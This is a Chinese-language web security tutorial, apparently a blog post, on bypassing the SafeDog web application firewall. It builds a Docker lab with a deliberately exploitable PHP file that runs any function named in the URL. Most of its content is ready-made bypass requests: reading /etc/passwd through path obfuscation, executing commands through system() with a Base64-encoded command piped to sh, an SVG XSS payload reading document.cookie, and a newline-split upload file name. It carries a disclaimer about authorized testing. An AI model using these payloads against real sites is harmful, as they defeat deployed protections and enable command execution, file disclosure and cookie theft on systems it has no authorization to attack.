全方面绕过安全狗2
字数 735 2025-08-20 18:16:55
全方位绕过安全狗2 - 渗透测试技术指南
前言
本文详细介绍了多种绕过安全狗防护的技术方法,适用于渗透测试和安全评估场景。安全狗作为国内常见的安全防护软件,了解其绕过技术对安全研究人员至关重要。
环境搭建
Docker搭建安全狗测试环境
- MySQL容器:
docker run -it -d --name mysql_dev -p 3307:3306 -e MYSQL_ROOT_PASSWORD=root mysql:5.6 --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
- Web服务器容器:
docker run -d -it -p 80:80 --link mysql_dev -v $(pwd):/var/www/html centos:7 /bin/bash
- 安装LAMP环境:
yum -y update
yum -y install httpd python mysql vim
yum -y install php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-mcrypt php-mssql php-snmp php-soap php-tidy curl curl-devel
httpd -k start
- 安装安全狗:
- 下载对应版本的安全狗安装包
- 安装依赖:
yum -y install file mlocate
- 执行安装脚本:
./install.py
- 测试文件:
<?php
$_GET[0]($_GET[1]);
?>
绕过技术详解
1. 文件读取绕过
原始拦截请求:
http://127.0.0.1/?0=readfile&1=file:///etc/passwd
绕过方法 - 使用绝对路径+相对路径:
http://127.0.0.1/?0=readfile&1=/./etc/./passwd
2. 命令执行绕过
拦截场景:
当命令中包含敏感信息时会被拦截
绕过方法1 - 绝对路径+相对路径:
http://127.0.0.1/?0=system&1=cat%20/./etc/./passwd
绕过方法2 - Base64编码:
http://127.0.0.1/?0=system&1=echo%20Y2F0IC9ldGMvcGFzc3dkCg==|base64%20-d%20|sh
其中Y2F0IC9ldGMvcGFzc3dkCg==是cat /etc/passwd的Base64编码
3. SQL注入绕过
参考作者之前的文章:绕过安全狗SQL注入防护
4. XSS绕过
示例payload:
<svg/onload=alert(document.cookie)>
测试URL:
http://127.0.0.1/xss/1.php?name=%3Csvg/onload=alert(document.cookie)%3E&submit=%E6%8F%90%E4%BA%A4
5. 文件上传绕过
绕过方法 - 特殊文件名构造:
文件名设置为:\nphp\n.\nphp
技术要点总结
- 路径混淆:使用
/./或/../等相对路径符号混淆绝对路径 - 编码技术:利用Base64等编码方式绕过关键词检测
- 特殊字符:使用换行符等特殊字符绕过文件名检测
- 标签属性:XSS中利用SVG等较少被过滤的标签和属性
注意事项
- 本文技术仅用于合法授权的安全测试
- 不同版本的安全狗可能有不同的防护规则
- 实际环境中可能需要结合多种技术进行绕过
- 建议在测试前搭建与目标相同的环境进行验证
扩展阅读
- 安全狗官方文档
- Web应用防火墙绕过技术
- OWASP测试指南
通过掌握这些技术,安全研究人员可以更有效地评估系统安全性,发现潜在漏洞。